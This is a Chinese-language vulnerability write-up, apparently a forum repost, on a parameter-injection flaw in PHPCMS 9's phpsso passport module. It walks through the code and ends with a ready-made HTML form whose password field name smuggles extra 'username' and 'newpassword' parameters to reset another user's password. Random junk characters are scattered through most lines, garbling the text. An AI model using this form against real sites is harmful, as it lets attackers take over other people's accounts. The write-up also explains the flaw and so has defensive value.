提到的通行证的代码:, V( c. w5 ]3 D( R# A
7 }6 N! |5 x4 p i; I. j% t8 y2 ^, y6 i/ I5 M; M
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
8 z( Z+ ^. `& j7 |: O. }& O. }9 Z1 x2 Y1 P# b. h
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
0 u" ?9 T* i! `% K( L0 D9 M- G6 d1 a+ y5 ]3 N
我把它留给了你们。& H3 E5 @; u+ U7 C& s
不知道你们发现了它没有。1 g2 P5 x1 ?$ q& A7 w8 j
$ S7 r# l5 j) o* D. T
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ l B$ A& w+ a/ Q
, Y* s. W4 H) U4 O3 e' k# S
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ E2 v1 B! P3 F8 ^5 j- h5 |- b" b6 |# J7 J" C) ]" m
也就是; u6 P0 W* M2 k: u; C j+ r
% r; \% W x! y8 g1 Z6 ?, v: q
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 k) [6 r5 R; n5 `6 x- V. ]% |
4 g: _$ h! }1 a3 u4 j7 o# G) T
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。- ^; o% K5 L& s
8 V& l; t0 m0 q) r& `
6 b9 {1 i4 b3 K
其实我们有这样的机会,看看代码,如下:8 O$ r5 N; j7 t, }9 P6 h
6 Y( a% W9 Q2 Z+ m( b
! j' d" o% u ?' P9 K" f# vpublic function auth_data($data) {, m+ \1 }- U% D, @. ?* y
$s = $sep = '';
8 M" w) v3 @' k* ? foreach($data as $k => $v) {
/ O# m6 E _4 ?( I/ w/ K if(is_array($v)) {
: r0 ^* X) }) n3 U $s2 = $sep2 = '';
' ?/ Z5 v/ G% U foreach($v as $k2 => $v2) {& s* H! i2 O: C* N( ~. x
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
f0 `+ Z1 U, Z $sep2 = '&';6 f: x+ x7 F# q3 O2 f4 C
}
. l! P, U4 ~1 E( i2 M+ r. C $s .= $sep.$s2;
8 v9 t' _! d9 V& |6 _0 h) ]3 M5 X! t } else {
& ]( @5 q! Y9 {2 v0 A/ L( H( x1 O $s .= "$sep$k=".$this->_ps_stripslashes($v);
. {. a) O( A7 v6 V8 ~0 Q4 B }( D' ?8 f1 N0 O& A
$sep = '&';
% J% c+ x% q7 J5 k. G }. n% \0 X+ ^1 [" g+ j
7 M% C% ~& ~1 u, @3 b5 O' w& }6 N
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s)); G' |& y N) d% ~
return $auth_s;4 v5 p* a6 G; t/ h) ]" v
}
6 w1 v/ T4 e6 p
! G/ x6 \, D- T. Z, O可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
/ ^' I, ^" Y6 R4 k& {+ M, T* b- A6 g$ [
- Q( l" n' q+ }7 x举个例子& Z. P5 \' y1 `& z- H: M3 o
: l$ T9 ?! z% a7 ~" \7 A$a[aaa=a&bbb] = 'a';
; B0 ^; e% T* R4 u: v( a; n& u2 N! E y# w# V
会变成aaa=a&bbb=a
! N/ Z) y, F( [" K) ~5 {/ R& s D( }: `. N- p) q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。' y: C% Z: T3 b* j7 ~
$ c3 [; A4 V0 P7 \: ]4 r/ ]
这个时候,我们可以再去看一个函数。: n/ e! V9 `9 U. a7 N
6 b% ?/ Z4 @4 c, h就在这个文件内:
. b8 q6 R: w/ o4 |5 J" t5 N* o
" m$ ^ `' f4 w0 T/ a* O3 R( k2 ], Q4 @0 D- V% _" J/ H) x, M
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
+ M) K- C) h3 X2 Z$ T if($email && !$this->_is_email($email)) {
' s9 u/ O/ ~9 o6 P- W2 @, l return -4;0 s" ~1 ?; S: I2 i$ d2 o
}7 @0 `, l, i+ p. B
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
4 j$ o8 ~6 A8 n! v" a0 p }
1 R& a, ~7 t; b# J
2 _/ M% X) J! X* L这是向通行证发了这样一个请求。4 p X; a; X2 [9 g' N
- M. d ]3 B7 b
我们再跟到通信证代码里去看看,就会有所发现。
$ U0 x7 `# o2 |! v9 q- Y3 i/ K" t7 q7 o. q
, V; M6 }) A7 E* jpublic function edit() {* D& `! w7 @0 t
//能省就省,太长了不是吗?
6 e7 a4 h- L0 q* y2 D6 w' U) u9 B( C, t+ J
if($this->username) {
6 l L [% N) Z6 |* \1 K$ R, {//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。9 V& g9 i# m& y5 k: z1 f/ ]7 L
$res = $this->db->update($data, array('username'=>$this->username));# A3 A. s, c1 C# ^ N
} else {! D: ?* N; j. N M. y, w
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
6 z" b- o2 P. m4 F $res = $this->db->update($data, array('uid'=>$this->uid));4 S0 Q; v) r: i! C# q( r
}
+ S* u' M$ b' I6 g7 `: c2 y7 q$ [
$ C2 ]5 J; f$ u3 M" }好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:% J! Z/ Y$ N6 F! D# j. b" m! O
3 Z8 u5 t3 E+ i! `. R) G$ z; S8 `
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
& w e7 A4 W- A0 `3 X$ A/ B
0 N! Z( l( D0 F5 |7 G- }很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
6 E& i/ Y% r1 S% l) f' T2 U# a
8 l& `1 j: j$ F8 V7 J( p我当然找到了:
4 @' ]. ~4 f; Yphpcms9/phpcms/modules/member/index.php5 ]% H+ t8 z2 v7 E
2 Q, b% m5 z) c% U$ E$ V9 o$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);4 J0 m f! j' R7 _2 H! }# ]
9 U+ r" N- ^0 J2 b6 ?2 k然后就没有然后了。
9 s+ e' ^- |- Y6 Q+ m; S+ e/ q1 K- O& d b9 w
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">% V: M/ x3 m5 ^( d
<table width="100%" cellspacing="0" class="table_form">$ C, E8 b. T$ w7 W& E! l
<tr>
" I7 f+ a8 `. U <th width="80">邮箱:</th>
/ P( d/ C1 {7 g1 W4 j <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>% |8 B# m/ o( F. `
</tr>
/ i, c( G* ^" J4 Q$ I4 o4 \ <tr># c8 W x* H+ ~: ~
<th width="80">原密码:</th>
; y* {# m% G2 K <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
& A4 _; T% r" d# J' H </tr>
Z% r, X2 F7 q3 g <tr>2 V; r8 T) ^9 W
<th>新密码:</th>
2 H+ i5 B- F& e) m) L" f <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ H; F/ W: ^& d8 @; a </tr>
' l9 z- U; L6 }! ^9 o' a& z3 S <th></th>
! ?4 S3 b- S P" w5 ~" ~" X% c <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>! k" k( Q2 e3 u6 g, p9 L
</tr>
! Z, i: D8 c* k. E | </table>4 d+ b \% E4 A8 m9 A
4 F& U# E$ K' M7 U' j ' c/ b% `3 N2 S$ H* w4 i
</form>) v1 Q) j$ M1 z
|